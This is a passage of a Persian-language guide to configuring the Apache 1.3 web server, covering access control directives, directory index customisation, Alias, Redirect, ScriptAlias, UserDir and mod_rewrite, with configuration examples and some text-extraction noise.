و اجازه دسترسـي داده  ، شدهمقداردهي  KnockKnock v2.0 let_me_inدسترسي مرورگري با نام با 
   .شود مي

deny from   

 

deny from host host ... 

directory, .htaccess 

ي از مـوارد  توانـد يك ـ   ميhostآرگومان . كند  دسترسي به يك شاخه را كنترل ميdeny fromديركتيو 
  :زير باشد

all  
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  . شود  ميممنوعتمام ميزبانها دسترسي 
  )كامل يا جزئي(يك نام دامنه 

تمام ميزبانهايي نام آنها كه با اين نام تطبيق داشته باشـد يـا              دسترسي  
  . شود  ميممنوعبه اين رشته ختم شود 

  IPآدرس كامل 
 IPبايتهــاي اول تــا ســوم آدرس دسترســي ، subnetبــراي محــدوديت 

  .شود ميممنوع 
 network/netmaskزوج 

 .شـود   مـي ممنوع  w.x.y.z (mask)با قاب  a.b.c.d شبكه از دسترسي 
   10.1.0.0/255.255.0.0: مثال

   شبكهCIDRتوصيف 
 10.1.0.0/16به عنوان نمونـه     .  مرتبه بالا است   1بيت   nnnشبكه داراي   

  .  است10.1.0.0/255.255.0.0مشابه 

deny from env   

 

deny from env=variablename ... 

directory, .htaccess 

  :براي مثال. كند  دسترسي را به وسيله وجود يك متغير محيطي كنترل ميdeny from envديركتيو 
BrowserMatch ^BadRobot/0.9 go_away 
<Directory /docroot> 
order allow,deny 
allow from all 
deny from env=go_away 
</Directory> 

دسترسي ممنـوع  و ، شده را مقداردهي go_away متغير BadRobot v0.9دسترسي مرورگري با نام با 
   . شود مي

Order   

 

order ordering 

directory, .htaccess 
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 و ترتيـب  )بدين معني كه وسط آن نبايد فاصله باشد(تواند باشد    تنها يك كلمه مي    orderingآرگومان  
آخرين آنها   بر روي يك ميزبان اعمال شوند،        orderاگر دو   . كند  تعيين مي ي ذكر شده را     ديركتيوهااعمال  

  .غالب خواهد بود
deny,allow  

  ).فرض پيش(شود   ميمحاسبه allowديركتيو  قبل از denyديركتيو 
allow,deny  

  .شود  محاسبه ميdeny قبل از ديركتيو allow ديركتيو
mutual-failure  
 denyليـست   شود ولـي در        ظاهر مي  allow  ليست ه در ميزبانهايي ك به  

 . شود شوند، اجازه دسترسي داده مي ظاهر نمي

  :اجازه به همه دادن: مثال
allow from all 

  :شود مي شروع 123.156 آنها با IP فقط تمام ميزبانهايي كه آدرس :مثال
order allow,deny 
allow from 123.156 
deny from all 

  :ردن دسترسي يك دامنه خاصممنوع ك: مثال
deny from badguys.com 

  
توجه داشته باشيد كه قبل از اعطاي هر گونه دسترسي و برقراري اعتماد، پيكربنـدي خـود را در يـك                     

  .شبكه مجزا وارسي كنيد
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 :ششمفصل  6
  شاخص گذاري
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 يـا ديركتيـو   htdocs/ … در index.htmlاگـر فايـل   ديـديم،  ) 3فـصل    ( site.firstهمان طور كـه در  

DirectoryIndex ،آپاچي شاخصي را تحت عنوان  نباشد“Index of /” بـه معنـي   ”/“ درست مي كند كه 
هاي بهتـري نيـز مـي        براي بسياري از كارها همين كافي است ولي شاخص         . است DocumentRootشاخه  

  .توان درست كرد

   در آپاچيساخت شاخص بهتر 6-1
 site.fancyindex/httpd1.conf/…اي مختلفـي وجـود دارد كـه برخـي در            براي ساخت شاخص روشه   

  :اند نشان داده شده
User webuser 
Group webgroup 
ServerName www.butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.fancyindex/htdocs 
 
<Directory /usr/www/APACHE3/site.fancyindex/htdocs> 
IndexOptions FancyIndexing 
AddDescription "One of our wonderful catalogs" catalog_summer.html / 
    catalog_autumn.html 
IndexIgnore *.jpg 
IndexIgnore  .. 
IndexIgnore  icons HEADER README 
AddIconByType (CAT,icons/bomb.gif) text/* 
DefaultIcon icons/burst.gif 
</Directory> 

  
 /http://www.butterthlies.com  را در كارگزار اجرا كرده و در مرورگـر بـه  go 1/.هنگامي كه دستور 

  :دسترسي پيدا كنيد، بايد چنين صفحه جالبي را ببينيد
Index of / 
  Name                        Last Modified     Size Description  
-------------------------------------------------------------------- 
    <bomb>catalog_autumn.html 23-Jul-1998 09:11 1k   One of our wonderful 
catalogs  
    <bomb>catalog_summer.html 25-Jul-1998 10:31 1k   One of our wonderful 
catalogs  
    <burst>index.html.ok      23-Jul-1998 09:11 1k  
--------------------------------------------------------------------  

  
ديركتيـو كليـدي    ايـن كـار بـا       . گرافيكي آپـاچي هـستند    به جاي شكلكهاي     <burst> و   <bomb>كه  

IndexOptionsانجام مي شود .  
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IndexOptions   

 
IndexOptions option [option] ... (Apache 1.3.2 and earlier) 
IndexOptions [+|-]option [[+|-]option] ... (Apache 1.3.3 and Later)  
Server config, virtual host, directory, .htaccess 

  
 رفتار شاخص   IndexOptions .اين ديركتيو قدري پيچيده بوده و نحو آن بستگي به نسخه آپاچي دارد            

  : عبارتند ازoptionبرخي از مهمترين مقادير . گذاري هر شاخه را معين مي كند
 

DescriptionWidth=[n | *] (Apache 1.3.10 and later)  

DescriptionWidth      اگر مقـدار   . تون توضيح بر حسب كاراكتر مشخص شود       اجازه مي دهد كه طول س
  .آنگاه اندازه ستون به اندازه طولانيترين توضيح خواهد شد باشد، *آن 

FancyIndexing  

  .به كاربران اجازه كنترل بيشتري روي نحوه مرتب سازي اطلاعات مي دهد
FoldersFirst (Apache 1.3.10 and later)  

  .ليست مي شوند ها  در صورت فعال شدن، ابتدا زير شاخه
IconHeight[=pixels] (Apache 1.3 and later)IconWidth[=pixels] (Apache 1.3 and later)  

 IMG HTML را بـراي تـگ   WIDTH و HEIGHTاگر دو گزينه باهم استفاده شوند، كارگزار صـفات  
  . خواهد كردشكلك مربوط استفاده

IconsAreLinks  

  .قرار مي دهدبه فايلها شكلكها را جزو پيوند 
NameWidth=[n | *] (Apache 1.3.2 and later)  

طول خودكار به اندازه طولانيترين نـام فايـل          به معني    *. طول ستون اسامي فايلها را مشخص مي كند       
  .است

ScanHTMLTitles  

  .استخراج شده و نمايش داده مي شود HTMLبا اين گزينه عنوان مستندات 
  

IndexOrderDefault    

 
IndexOrderDefault Ascending|Descending 
Name|Date|Size|Description    
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Server config, virtual host, directory, .htaccess  
IndexOrderDefault is only available in Apache 1.3.4 and 
later.  

ترتيـب مرتـب كـردن ليـست را          به كـار مـي رود و         FancyIndexingر تركيب با گزينه     اين ديركتيو د  
  .مشخص مي كند

  

ReadmeName   

 
ReadmeName filename 
Server config, virtual host, directory, .htaccess 
Some features only available after 1.3.6; see text  

  

  
  . الحاق شود را مشخص مي كند به انتهاي ليست اين ديركتيو نام فايلي كه بايد

  

AddIcon   

 
AddIcon icon_name name 
Server config, virtual host, directory, .htaccess   

  
دادن مسير فايل   در صورت    .با اين ديركتيو مي توان به صفحه شاخص شكلكهاي دلخواه را اضافه نمود            

  bombشكلك به عنوان مثال .  در نظر گرفته مي شودDocumentRootشاخه شكلك به صورت نسبي از 
  : نسبت مي دهدhtmlرا براي فايلهاي 

... 
AddIcon icons/bomb.gif  .html 

  

AddDescription   

 
AddDescription string file1 file2 ... 
Server config, virtual host, directory, .htaccess   

  
  :تعدادي فايل، يا پسوند فايل نسبت مي دهد را به ”“يك توضيح ميان 

<Directory /usr/www/APACHE3/fancyindex.txt/htdocs> 
FancyIndexing on 
AddDescription "One of our wonderful catalogs" catalog_autumn.html    
catalog_summer.html 
IndexIgnore *.jpg 
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IndexIgnore .. 
AddIcon (CAT,icons/bomb.gif)  .html 
AddIcon (DIR,icons/burst.gif) ^^DIRECTORY^^ 
AddIcon icons/blank.gif ^^BLANKICON^^ 
DefaultIcon icons/blank.gif 
</Directory> 
 

  شاخصهاي شخصيساخت  6-2
در اينجـا   . در بخش قبل نشان داديم كه چگونه مي توان امكان شاخص گذاري آپاچي را سفارشي كرد               

  . ساختيم بيشتر توضيح دهيم(index.html) 3شاخصي كه قبلا خودمان در فصل مي خواهيم درباره 

6-2-1 DirectoryIndex  
  . اين ديركتيو ليستي از منابع براي جستجو و فرستادن به كاربر به جاي شاخص را مشخص مي كند

DirectoryIndex local-url local-url ... 
Default: index.html 
Server config, virtual host, directory, .htaccess 
 

local-url      چنـدين   . به طور نسبي نسبت به شاخه درخواست شـده قـرار دارد           نام فايلي است كهURL 
 بيايند كه آپاچي در صورتي كه انديس يا شاخه درخواست شده باشـد،              ممكن است در مقابل اين ديركتيو     

 نيز  IndexOptions موجود نباشد و گزينه       در صورتي كه هيچ يك از آنها       .رددگ  به ترتيب به دنبال آنها مي     
  : مثال.فعال شده باشد، آپاچي ليست خود از شاخه را توليد خواهد كرد

DirectoryIndex index.html  

ــه    ــود ك ــي ش ــث م ــالا باع ــو ب ــت ديركتي ــتادن   /http://myserver/docsدرخواس ــه فرس ــر ب  منج

http://myserver/docs/index.html شود.  
DirectoryIndex index.html index.txt /cgi-bin/index.pl 

وجـود نداشـته باشـند،       index.txt و   index.htmlدر مثال بالا، در صـورتي كـه هـيچ يـك از دو فايـل                 
  .اجرا شود cgi-bin/index.pl/اسكريپت 



 

  
  
  
  

  
  
  

 :هفتمفصل  7
  (Redirection)تغيير مسير 
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ود قـرار دارنـد، و ايـن ماننـد بـسياري از              موقع در سـر جـاي خ ـ       چيزهاي معدودي به  در دنياي واقعي    

امكان منحرف كردن درخواستها     Redirect و   Alias .هاي وب نيز درست است      چيزهاي ديگر براي كارگزار   
آل به  همچين امكاني نبايـد          در حالت ايده   اگرچه. كنند  فراهم مي را به جاي ديگر در سيستم فايل در وب          

وب يا حتـي بـه يـك كـارگزار      در كارگزار HTMLا كردن فايلهاي   اغلب جابج باشد، ولي در عمل      احتياج  
توجيـه كـردن     )Aliasحداقل براي ديركتيـو     (مورد استفاده ديگر    . تر است    راحت پيوندها ربدون تغيي ديگر  

 و  ها ممكن است توسط كاربران مختلفي نگهداري شـوند         شاخهبراي مثال   . در سيستم است  ها    شاخهتوزيع  
ايـن امكـان را      Alias ولـي    . نگهـداري شـوند    )NFSمانند  (راه دور   سيستمهاي    يلحتي ممكن است در فا    

  .بندي شوند گروهتر  همة آنها به يك صورت منطقيكند كه  فراهم مي
البتـه شـما امكـان      . دهـد    را مـي   CGIهاي    اجازه اجراي اسكريپت    ScriptAliasديركتيو مرتبط ديگر،    

قابـل انجـام    Rewriteدهد، و حتي بيشتر، با ديركتيـو      انجام مي   ScriptAliasهر كاري كه    : انتخاب داريد 
اگـر  . تر اسـت      نسبتاً ساده   ScriptAlias با اين حال    .)كه بعداً در اين فصل توضيح داده خواهد شد        (است  
 را اجرا   CGIيا هر ماجولي كه      (mod_cgi.c ولي به    تعريف شده است   mod_alias.c  در    ScriptAliasچه  
  .شود فرض در آپاچي كمپايل مي به طور پيش mod_alias.c .ز داريم نيا)كند مي

بايـد  اول    بـه طـور كلـي      .فايل پيكربندي بايـد دقـت لازم را كـرد         هنگام استفاده از اين ديركتيوها در       
  .تر بيايند و سپس ديركتيوهاي كلي، محدودتري دارند  دامنهديركتيوهايي كه

 زيـر  به صـورت اضافه خواهيم كرد به آن برخي ديركتيوها را  كه  site.alias/ … در httpd1.confفايل 
  :است

User webuser 
Group webgroup 
 
NameVirtualHost 192.168.123.2 
 
<VirtualHost www.butterthlies.com> 
ServerName www.butterthlies.com 
DocumentRoot /usr/www/APACHE3/site.alias/htdocs/customers 
ErrorLog /usr/www/APACHE3/site.alias/logs/error_log 
TransferLog /usr/www/APACHE3/site.alias/logs/access_log 
</VirtualHost> 
 
<VirtualHost sales.butterthlies.com> 
DocumentRoot /usr/www/APACHE3/site.alias/htdocs/salesmen 
ServerName sales.butterthlies.com 
ErrorLog /usr/www/APACHE3/site.alias/logs/error_log 
TransferLog /usr/www/APACHE3/site.alias/logs/access_log 
</VirtualHost> 
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كارمنـدان  مـشتريان و  هاي  شاخهمطابق انتظار بايد شروع به كار كرده و . اجرا كنيد go 1/.آپاچي را با 
  .فروش را نشان دهد

7-1 Alias  
تـوانيم     مي .دهد  ذخيره اسناد را در جاهاي ديگر مي       امكان است كه    Aliasديركتيوها  يكي از مفيدترين    

 را  lost.txtفايـل   انجام داده و     usr/www/APACHE3/somewhere_else/ايجاد شاخه جديد    اين كار را با     
  :اين فايل شامل پيام زير است. در آن قرار دهيم

I am somewhere else 

httpd2.conf  تر دارد اضافهخط يك:  
... 
Alias /somewhere_else /usr/www/APACHE3/somewhere_else 
... 

ــرده و   ــف كـــ ــاچي را متوقـــ ــد  go 2/.آپـــ ــرا كنيـــ ــا  . را اجـــ ــر  مبـــ ــه رورگـــ بـــ
http://www.butterthlies.com/somewhere_else/  خروجي زير را خواهيم ديد .برويد:  

Index of /somewhere_else 
. Parent Directory 
. lost.txt 

شويم،  وارد نمي usr/www/APACHE3/  بر خلاف انتظار به  كليك كنيم،Parent Directoryاگر روي 
 وارد  usr/www/APACHE3/site.alias/htdocs/customers/ يعني   گزاراين كار  DocumentRootبه  بلكه  
  . است"Parent URL" به معني Parent Directoryاينجا  در واقع .شويم مي

  مسألهيك  1- 7-1
  :بنويسيدتوجه كنيد اگر بخواهيد 

Alias /somewhere_else/ /usr/www/APACHE3/somewhere_else 

يـك  براي فهم علت فرض كنيـد       . شود كه به درستي كار نكند       ميباعث  در نام مستعار     انتهايي   /نويسه  
ي بـا مـسير   ا يعنـي شـاخه  . داردDocumentRoot   در  fredيك زير شاخه بـه نـام   داريد كه كارگزار وب 

/www/docs/fredوجود دارد و در فايل پيكربندي داريم :  
DocumentRoot /www/docs 

 وجـود   fredفايلي بـه نـام   شود، زيرا    شكست مواجه مي   با  http://your.webserver.com/fredآدرس  
هـد كـه    د  تغيير مـسير مـي     /http://your.webserver.com/fredبه  درخواست را   با اين حال آپاچي     . ندارد

  .داندگر برميرا  fred/انديس شاخه 
  :مطابق زير پيوند داده باشدصفحه وبي باشد كه بنابراين اگر 

<a href="/fred">Take a look at fred</a> 
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بـه آدرس زيـر تغييـر مـسير داده      كليك كنيد، "Take a look at fred"و وقتي روي . كار خواهد كرد
  :خواهيد شد

http://your.webserver.com/fred 

تغييـر  فايل پيكربندي را به صورت زيـر        نيد و   ك  جابجا مي  some/where/else/ را به     fredبعد از مدتي    
  :دهيد مي

Alias /fred/ /some/where/else 

  :آننامناسب يا معادل 
Alias /fred/ /some/where/else/ 

.  ولي اين نادرسـت اسـت      .دهيد  را در انتهاي آن قرار مي     / به يك شاخه اشاره كند نويسه       براي آن كه    و  
  چرا؟

كار   http://your.webserver.com/fred وجود ندارد، آدرس  www/docs/fred/  ديگر به علت آن كه 
  . ندك  مطابقت پيدا نمي/fred/با  fred/فايل پيكربندي تغيير كرده است، آنكه علي رغم . دكن نمي

  ):انتهايي/ بدون  (Aliasولي با استفاده از 
Alias /fred /some/where/else 

  . كند نگاشت مي some/where/else/به  http://your.webserver.com/fred كه است معني بدين

Script   

 

Script method cgi-script 

Server config, virtual host, directory  

Script is only available in Apache 1.1 and later; arbitrary 
method use is only  

available with 1.3.10 and later. 

فايلي درخواسـت    methodبا متد   در هنگامي كه    را   cgi-scriptكند كه     عملي را اضافه مي   اين ديركتيو   
ــا  URL ســپس .، فعــال كنــدشــد اســتاندارد محيطــي متغيرهــاي  و مــسير فايــل درخاســت شــده را ب

PATH_INFO   و PATH_TRANSLATED    را بهCGI  اين بـراي مـواقعي كـه بـراي مثـال            .كند   رد مي 
  .سازي كنيد مفيد است  را پيادهPUTسازي انجام دهيد يا  فشردههمزمان به صورت خواهيد  مي

 از .شد اسـتفاده كـرد    ميDELETE و يا  GET,PUT,POST تنها از متدهاي 1.3.10ل از آپاچي تا قب
حـروف  بزرگي يـا كـوچكي      نامهاي متد حساس به      .هر نام متدي ممكن است استفاده شود       1.3.10آپاچي  
   .است

 CGIاگـر يـك اسـكريپت         .كنـد   فـرض را تعريـف مـي        تنها اعمال پـيش    Scriptتوجه كنيد كه دستور     
دقت كنيد  البته  . متد باشند، اين كار را خواهند كرد      قادر به راهبري    برخي ديگر از منابع     راخواني شود، يا    ف



  71    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

)  foo.html?hiمـثلاً  (آرگومانهـاي پـرس و جـو    شود كـه    تنها وقتي فراخواني ميGET با متد Scriptكه 
  .اهد شدپردازش خو به صورت معمولي درخواستدر غير اين صورت . وجود داشته باشند

  مثالها
# For <ISINDEX>-style searching 
Script GET /cgi-bin/search 
# A CGI PUT handler 
Script PUT /~bob/put.cgi 

 

ScriptAlias    

 

ScriptAlias url_path directory_or_filename  

Server config, virtual host 

ScriptAlias  ذخيـره شـوند    فـضولانه ايمن دور از كنكاشهاي     طور  دهد كه به      ها اجازه مي    به اسكريپت  .
  :براي مثال. كند  هستند را مشخص ميCGIهاي  داراي اسكريپتهايي كه  شاخهعلاوه بر اين، 

... 
ScriptAlias /cgi-bin/ /usr/www/apache3/cgi-bin/ 
... 

  
ScriptAliasMatch   

 

ScriptAliasMatch regex directory_or_filename  

Server config, virtual host 

عبارات داخل پرانتز را    كارگزار  شود، در صورت تطبيق        تطبيق داده مي   URLعبارت منظم داده شده با      
بـراي فعـال     ،بـراي مثـال   . كنـد   دهد و حاصل را به عنوان نام فايل استفاده مي           در رشته داده شده قرار مي     

  :به صورت زير عمل كردتوان   مي cgi-bin/كردن 
ScriptAliasMatch ^/cgi-bin/(.*) /usr/local/apache/cgi-bin/$1 

 

و به هر تعداد تكـرار   (.)كند  اي تطبيق مي  با هر نويسهPerlعبارت منظمي شبيه به آنچه كه در      *. كه
 ذخيـره   1$ آن را در متغيـر       (*.)قـرار دادن آن در درون پرانتـز         . در اينجا نام فايل اجرايي است     .  است (*)
  :شود  سپس فايل زير فراخواني مي.كند مي

/usr/local/apache/cgi-bin/$1. 

  مثال
ScriptAliasMatch ^/cgi-bin/BT(.*) /usr/local/apache/cgi-bin/BT$1 

  :بر پيوند زير كليك كندكاربر حال اگر 
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...<a href="/cgi-bin/BTmyscript/customer56/ice_cream">... 

 PATH_INFO  اگر اسكريپت به متغير محيطي . اجرا شودBTmyscriptشود كه  اين عبارت باعث مي
  . را خواهد يافتcustomer56/ice_cream/، مقدار رجوع كند

Alias   

 

Alias url_path directory_or_filename 

Server config, virtual host 

Alias   نگاشت   برايURL    نظـر گـرفتن    بـدون در    محل فيزيكـي آنهـا در فايـل سيـستم           هاي منابع به
Document root براي نمونه به  . رود به كار مي.../site.alias/conf/httpd.confنگاه كنيد :  

... 
Alias /somewhere_else/ /usr/www/APACHE3/somewhere_else/ 
... 

بنـابراين بـا درخواسـت      .  است lost.txtحاوي فايل    /usr/www/APACHE3/somewhere_else/شاخه  
www.butterthlies.com/somewhere_else ،خروجي صورت زير خواهد بود:  

Index of /somewhere_else 
    Parent Directory  
    lost.txt 

AliasMatch   

 

AliasMatch regex directory_or_filename 

Server config, virtual host 

در . گيـرد   ن آرگومان اول مـي    يك عبارت منظم به عنوا     اين ديركتيو    ScriptAliasMatchدوباره مشابه   
  . استAliasمشابه غير اين صورت 

UserDir   

 

UserDir directory 

Default: UserDir public_html 

Server config, virtual host 

مـــثلاً اگـــر . ايـــن ديركتيـــو بـــراي مـــشخص كـــردن شـــاخه صـــفحه خـــانگي كـــاربران اســـت 
http://www.butterthlies.com/~peter  ــ ــي  د، درخواســت ش ــه معن ــه ب ــانگي "ك ــفحه خ در  Peterص

   .باشد مي " استwww.butterthlies.com آن  DNSنام كامپيوتري كه 
  :تواند باشد يكي از مقادير زير مي directoryآرگومان 



  73    راهنماي كارگزار وب آپاچي   

  .باشد تمام حقوق اين اثر متعلق به شوراي عالي انفورماتيك مي

 

  .نام شاخه يا عبارتي مشابه مثالهاي ذيل •
شـود، بـه جـز        مـي  ترجمه شناسه كاربري بـه نـام شـاخه        غير فعال شدن     باعث   disabledكلمه كليد    •

  . آمده باشندenabledهايي كه در ليست  شناسه
ايـن  . انـد   هاي كاربري كه با فاصله از هـم جـدا شـده             ليستي از شناسه  به همراه    disabledكلمه كليد    •

  . هم باشندenabledعبارت نخواهند داشت، حتي اگر در ليست اختصاصي صفحه كاربران هيچ گاه 
ايـن  . انـد   هاي كاربري كه با فاصـله از هـم جـدا شـده              ي از شناسه   به همراه ليست   enabledكلمه كليد    •

 disabled ولـي بايـد شناسـه آنهـا در ليـست             .توانند صفحه اختصاصي داشته باشند      مياجازه  كاربران  
  .نيامده باشد

 ظـاهر نـشده باشـند،    UserDirديركتيـو   در disabled يـا    enabledهـاي كليـد       اگر هيچ يك از كلمـه     
يـك درخواسـت     .شود   مي شود و براي ترجمه به نام شاخه استفاده         فرض مي ن الگوي فايل    آرگومان به عنوا  

  :ممكن است به صورتهاي مختلفي ترجمه شود  http://www.foo.com/~bob/one/two.htmlبه 
UserDir public_html     -> ~bob/public_html/one/two.html 
UserDir /usr/web        -> /usr/web/bob/one/two.html 
UserDir /home/*/www/APACHE3     -> /home/bob/www/APACHE3/one/two.html 

  
  :فرستند ديركتيوها زير تغيير مسيرهاي زير را به مرورگر كاربر مي

UserDir http://www.foo.com/users -> 
http://www.foo.com/users/bob/one/two.html 
UserDir http://www.foo.com/*/usr -> 
http://www.foo.com/bob/usr/one/two.html 
UserDir http://www.foo.com/~*/   -> http://www.foo.com/~bob/one/two.html 

  
 ترجمـه خواهـد   / را به root~/عبارت  /. UserDirبراي مثال . هنگام استفاده از اين ديركتيو دقت كنيد

شـود حتمـاً       كنيـد، توصـيه مـي        بالاتر استفاده مي    و 1.3اگر از آپاچي    . ناخواسته باشد كرد كه ممكن است     
  :خط زير را در پيكربندي خود بگنجانيد

UserDir disabled root 

 

Redirect   

 

Redirect [status] url-path url 
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 جديد به كاربر فرستاده     URL. دكن   جديد نگاشت مي   URL قديمي را به     URLيك   Redirectديركتيو  
 ـديكـود شـده  ( يـك مـسير     url-path. كنـد   شده و كاربر آدرس جديد را درخواست مـي         اسـت؛ هـر   ) % ا ب
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 )%كـد شـده بـا        (URL بـه همـراه يـك        redirect يـك خطـاي      درخواستي كه با اين مسير شروع شـود       
  .گرداند برمي

  مثال
Redirect /service http://foo2.bar.com/service 

ــاربر درخواســــــت   ــر كــــ ــد،   http://myserver/service/foo.txtاگــــ ــه وي آدرس كنــــ بــــ
http://foo2.bar.com/service/foo.txt شود براي تغيير مسير داده مي .  

  

بـدون در نظـر      ScriptAlias و   Alias اولويـت بيـشتري نـسبت بـه          Redirectديركتيو  
 بايـد مـسير     url-path همچنـين     .داردربنـدي   گرفتن ترتيب ظاهر شـدن در فايـل پيك        

 بـه   <Directory> يـا در نـواحي       htaccess.فايلهاي  مطلق باشد نه نسبي، حتي اگر در        
  .كار رود

  
كنـد   اين به كارگزار اعلان مي. )HTTP 302كد (" موقتي"تغيير مسير  داده شود، statusاگر آرگومان 

برگردانـدن ديگـر كـدهاي      تـوان بـراي        را مي  statusگومان  آر. كه منبع درخواستي موقتا جابجا شده است      
  : كرد نيز استفادهHTTPحالت 

permanent  
  .گرداند  به معني جابجايي دائمي را برمي301كد حال 

temp  
  .فرض است اين پيش. گرداند  را به معني جابجايي موقتي را برمي302كد حالت 

seeother  
  .گرداند جايگزين شدن منبع است برميي كه به معنا ("See Other") 303كد حالت 

gone  
 هنگـام اسـتفاده از ايـن كـد،          .گرداند  حذف دائمي را برمي   به معناي    ("Gone") 401كد  

  . بايد حذف شودurlآرگومان 
 باشـد بايـد     399 و   300اگر كـد بـين      .  داد statusتوان ديگر كدها به صورت عددي به عنوان مقدار            مي

  .  وگرنه بايد حذف شود هم داده شود،urlآرگومان 

RedirectMatch   

 

RedirectMatch regex url 
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RedirectMatch   مشابه Redirect  كـه  (كنـد     اين كه عبارت منظم قبـول مـي        كند، به استثناي     كار مي
  .) شرح داده شدScriptAliasMatchقبلا در ديركتيو 

RedirectTemp   

 

RedirectTemp url-path url 
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  . استRedirect tempبه كارفرما است و دقيقا معادل  Redirectموقتي بودن اين ديركتيو براي اعلان 

RedirectPermanent   

 

RedirectPermanent url-path url 
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 Redirect permanent به كارفرما است و دقيقا معـادل  Redirectاين ديركتيو براي اعلان دائمي بودن 

  .است
 

7-2 Rewrite  
همه كارهايي كـه بـا ديركتيوهـاي آن         .  را به همراه ديركتيوهاي آن شرح داد       Aliasماجول  بخش قبل   

تـر بـوده و بـراي        البتـه ايـن مـاجول پيچيـده       . نيز قابل انجام اسـت     mod_rewrite.cتوان انجام داد، با       مي
  . استفاده كردAliasكارهاي ساده بهتر است از ماجول 

ــل   ــستدات كامــــ ــراي مــــ ــدهبــــ ــاي پيچيــــ ــر و كارهــــ ــه   تــــ ــت بــــ ــر اســــ بهتــــ
rewriteguide/apache/pw/com.engelschall.www://http  همچنـين نگـاهي نيـز بـه        . دي ـمراجعه نماي

html.rewrite_mod/mod/docs/org.apache.www://http اي بـر ايـن    مقدمـه اين بخش تنها .  بيندازيد
  .ماجول است
Rewrite  يكrewriting pattern  را گرفته و آن را به يكURL الگوهـا بـه صـورت    . كنـد   اعمال مـي

خود مجال مفـصلي را      عبارات منظم    .با تمام نام ماجولها تطابق دارد      mod.*\.cمثلاً  . عبارات منظم هستند  
 manpageمراجعه نماييـد كـه يـك     src/regex/regex.7/ …به توانيد  طلبد و مي براي شرح و توضيح مي

 Masteringوانيـد بـه كتـاب    ت  همچنين مي. قابل مشاهده استnroff  -man regex.7دستور است كه با 

Regular Expressions از انتشارات O'Reilllyمراجعه نماييد  .  
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 و در ابتـدا بـا        به تمـرين بـا عبـارات مـنظم بپردازيـد           Perlبهتر است قبلاً با     قبل از استفاده در آپاچي      
  . عبارات ساده شروع كنيد

 ورودي تطبيق پيـدا  URLتوانند با   ويژه مي ) كاراكتر(عبارات منظم آن است كه تعدادي نويسه        هيت  ما
 قواعـد   . تبديل كرد   و به صورت دلخواه     ديگري URLآن با عبارات ديگر آن را به         سپس با جايگزيني     .كنند

  . اعمال شوندURLنند به صورت تكراري و بازگشتي به توا ميتبديل 
  :به چهار حالت استفاده شودتواند  ماجول مي

 قواعـد بـه تمـام    .براي اعمال كردن در تمـامي بخـشها  كارگزار  در فايل پيكربندي     22فنيتوسط راهبر    •
URL  ها از جمله URL مجازي اعمال خواهند شديكارگزارها هاي .  

  هاي كارگزارهاي مجازي اعمال    URLقواعد تنها به     .<VirtualHost>توسط راهبر فني در بلوكهاي       •
  .خواهند شد

  . اعمال خواهند شدشاخه مشخص شدهقواعد تنها به . <Directory>توسط راهبر فني در بلوكهاي  •
 .قواد تنها به شاخه مشخص شده اعمال خواهند شد.  خودشانhtaccess.توسط كاربران در فايلهاي   •

  
  . شوند سند كه در ادامه توضيح داده مير ديركتيوها ساده به نظر مي

RewriteEngine   

 

RewriteEngine on_or_off 
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ي اعمـال   ا  اگر غير فعـال باشـد، هـيچ قاعـده         . دكن  فعال يا غيرفعال مي    را   (rewriting)  بازنويسي موتور
 خطـوط قواعـد    كردن   commentبازنويسي به جاي    ديركتيو براي غير فعال كردن كلي       از اين   . نخواهد شد 

  .استفاده كنيد

RewriteLog   

 

RewriteLog filename 
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نسبت به ريـشه كـارگزار      شروع نشود،   / با  اگر نام   . فرستد  براي ثبت مي    filenameرويدادها را به فايل     
  . تنها يك بار در فايل پيكربندي ظاهر شود بايداين ديركتيو. شود فرض مي

                                                 
22 Administrator 
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RewriteLogLevel   

 

RewriteLogLevel number 

Default number: 0 
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 بـه  9ريـدادنگاري نكـردن و    به معنـي  0. كند سطح رويدادنگاري و ميزان ثبت اطلاعات را مشخص مي     
  .معناي ثبت همه رويدادها است

RewriteMap   

 

RewriteMap mapname {txt,dbm,prg,rnd,int}: filename 
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درج جـستجوي كليـد      بـا    هـاي جـايگزيني     رشـته كند كـه      را تعريف مي   mapnameفايل خارجي   يك  
مـاجول  .  كه در ذيل توضيح داده شده است        ذخيره شوند  مختلفيكليدها ممكن است در قالبهاي      . كند  مي

  :كند رد ميفرم زير  به  mapnameبه پرس و جو يك 
$(mapname : Lookupkey | DefaultValue) 

  . شود برگردانده مي DefaultValue پيدا نشود،  Lookupkeyمقدار اگر 
  :اند به صورت زير باشدتو ، ميكه بايد به عنوان آرگومان بعدي مشخص شود mapnameنوع 
txt  

. آيد ميخطوط خالي   به همراه    ASCIIفايل  كند كه در      قالب متن معمولي را مشخص مي     
  :قالب ديگر خطوط. شوند  شروع مي#يحي با خطوط توض

MatchingKey 
SubstituteValue 

dbm  
واسـط  ( NDBMاين قابل يك فايل دودويي      .كند  را مشخص مي   DBMقالب فايل درهم    

new dbm( با ابزار  است كهndbm     يا بـا اسـتفاده از اسـكريپتdbmmanage   از شـاخه
support كنيد آن را ايجاد مي آپاچي.  

prg  
توسـط آپـاچي اجـرا      د كه يـك برنامـه اجرايـي اسـت كـه             كن  ب برنامه را مشخص مي    قال
مقدار جايگزيني   داده شده و     stdinدر هر جستجو، كليد به عنوان يك رشته در          . دشو  مي

 بـه دو    .شـود  برگردانـده مـي    stdout، در    در صورت موفقيت آميز نبودن     NULLيا كلمه   
  :هشدار توجه كنيد
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  .نشودتوقف كاري آپاچي موجب بوده تا كان ساده برنامه بايد تا حد ام •
 از Cدر  . شـود   ست مي ب   استفاده نكنيد زيرا موجب بن     stdout بافر شده در     I/Oاز   •

 ;select(STDOUT) از دســتور Perl و در setbuf(stdout,NULL)دســتور 
  . استفاده كنيد  [;1=|$

 
rnd  

ولي با اين تفاوت كه براي       متن معمولي است     كند كه مشابه    متن تصادفي را مشخص مي    
پـس  . اند   از هم جدا شده    "|"كند كه با نويسه       جايگزيني مشخص مي  هر كليد چند مقدار     

اين . شود  به صورت نصادفي انتخاب شده و برگردانده مي       كليد، يكي از اين موارد      از يافتن   
  .در حالت پراكسي معكوس تعبيه شده استامكان براي توزيع بار 

int  
كـه   ()tolower و   ()toupper  :دو تابع وجود دارد   . كند  آپاچي را مشخص مي   تابع داخلي   
  . كند را به حروف بزرگ يا كوچك تبديل ميحروف كليد 

RewriteBase   

 

RewriteBase BaseURL 

directory, .htaccess 

